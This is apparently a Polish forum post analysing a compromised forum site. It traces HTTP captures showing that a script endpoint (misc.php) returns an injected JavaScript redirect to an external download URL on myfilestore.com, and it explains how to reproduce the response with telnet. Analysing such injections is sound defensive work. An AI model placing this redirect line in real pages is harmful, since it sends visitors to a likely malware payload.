Przyjrzałem się dokładniej.
Wejście z google robi takie zapytanie:
GET / HTTP/1.1
Host: forum.android.com.pl
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.google.pl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCIQFjAA&url=http%3A%2F%2Fforum.android.com.pl%2F&ei=FKfDVL-QI87UaqPPgogK&usg=AFQjCNGo3F2HzSm8TgA-4Ftbu2AlGoYDMw&bvm=bv.84349003,d.d2s
Connection: keep-alive
HTTP/1.1 303 See Other
Server: nginx/1.6.2
Date: Sat, 24 Jan 2015 14:08:30 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.4.36-1~dotdeb.1
Set-Cookie: bb_lastvisit=1422108507; expires=Sun, 24-Jan-2016 14:08:27 GMT; path=/; domain=.android.com.pl
Set-Cookie: bb_lastactivity=0; expires=Sun, 24-Jan-2016 14:08:27 GMT; path=/; domain=.android.com.pl
Set-Cookie: PHPSESSID=lmv2kucejg4j1bhaml31ccouk6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://forum.android.com.pl/forum.php?
Content-Length: 0
idziemy za przekierowaniem:
GET /forum.php? HTTP/1.1
Host: forum.android.com.pl
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.google.pl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCIQFjAA&url=http%3A%2F%2Fforum.android.com.pl%2F&ei=FKfDVL-QI87UaqPPgogK&usg=AFQjCNGo3F2HzSm8TgA-4Ftbu2AlGoYDMw&bvm=bv.84349003,d.d2s
Cookie: bb_lastvisit=1422108507; bb_lastactivity=0; PHPSESSID=lmv2kucejg4j1bhaml31ccouk6
Connection: keep-alive
Dostajemy dużo danych, m.in:
<script type="text/javascript" src="http://forum.android.com.pl/misc.php?v=420&js=js"></script>
przeglądarka idzie za powyższym:
GET /misc.php?v=420&js=js HTTP/1.1
Host: forum.android.com.pl
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://forum.android.com.pl/forum.php?
Cookie: bb_lastvisit=1422108507; bb_lastactivity=0; PHPSESSID=lmv2kucejg4j1bhaml31ccouk6
Connection: keep-alive
otrzymuje odpowiedź:
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 24 Jan 2015 14:08:47 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.4.36-1~dotdeb.1
Set-Cookie: bb_lastactivity=0; expires=Sun, 24-Jan-2016 14:08:46 GMT; path=/; domain=.android.com.pl
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: bb_lang_id=en; expires=Sun, 25-Jan-2015 00:08:47 GMT
Content-Length: 67
document.location='http://myfilestore.com/download.php?id=532c5f78'
PS. Edytor wiadomości powycinał mi numery sesji w zapytaniach, więc ich nie ma.
Dodam jeszcze, że wystarczy połączyć się z serwerem forum.android.com.pl przez telnet na port 80 i wysłać zapytanie:
GET /misc.php?v=420&js=js HTTP/1.1
Host: forum.android.com.pl
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Referer: http://forum.android.com.pl/forum.php?
Cookie: bb_lastvisit=1422108507;
Connection: keep-alive
aby dostać odpowiedź:
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 24 Jan 2015 14:41:20 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.36-1~dotdeb.1
Set-Cookie: bb_; path=/; domain=.android.com.pl; HttpOnly
Set-Cookie: bb_lastvisit=1422108507; expires=Sun, 24-Jan-2016 14:41:18 GMT; path=/; domain=.android.com.pl
Set-Cookie: bb_lastactivity=0; expires=Sun, 24-Jan-2016 14:41:18 GMT; path=/; domain=.android.com.pl
Set-Cookie: PHPSESSID=2ptj00e99qmj24i53j65373gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: bb_lang_id=en; expires=Sun, 25-Jan-2015 00:41:20 GMT
43
document.location='http://myfilestore.com/download.php?id=532c5f78'
0